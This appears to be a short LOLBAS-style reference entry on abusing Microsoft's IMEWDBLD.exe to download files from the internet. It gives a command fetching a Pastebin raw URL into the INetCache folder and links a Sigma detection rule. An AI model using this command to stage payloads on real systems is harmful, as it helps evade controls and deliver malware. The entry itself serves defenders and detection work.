Microsoft IME Open Extended Dictionary Module
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw
IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to %LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> or %LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>
Download file from Internet
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml
Wade Hickey (@notwhickey)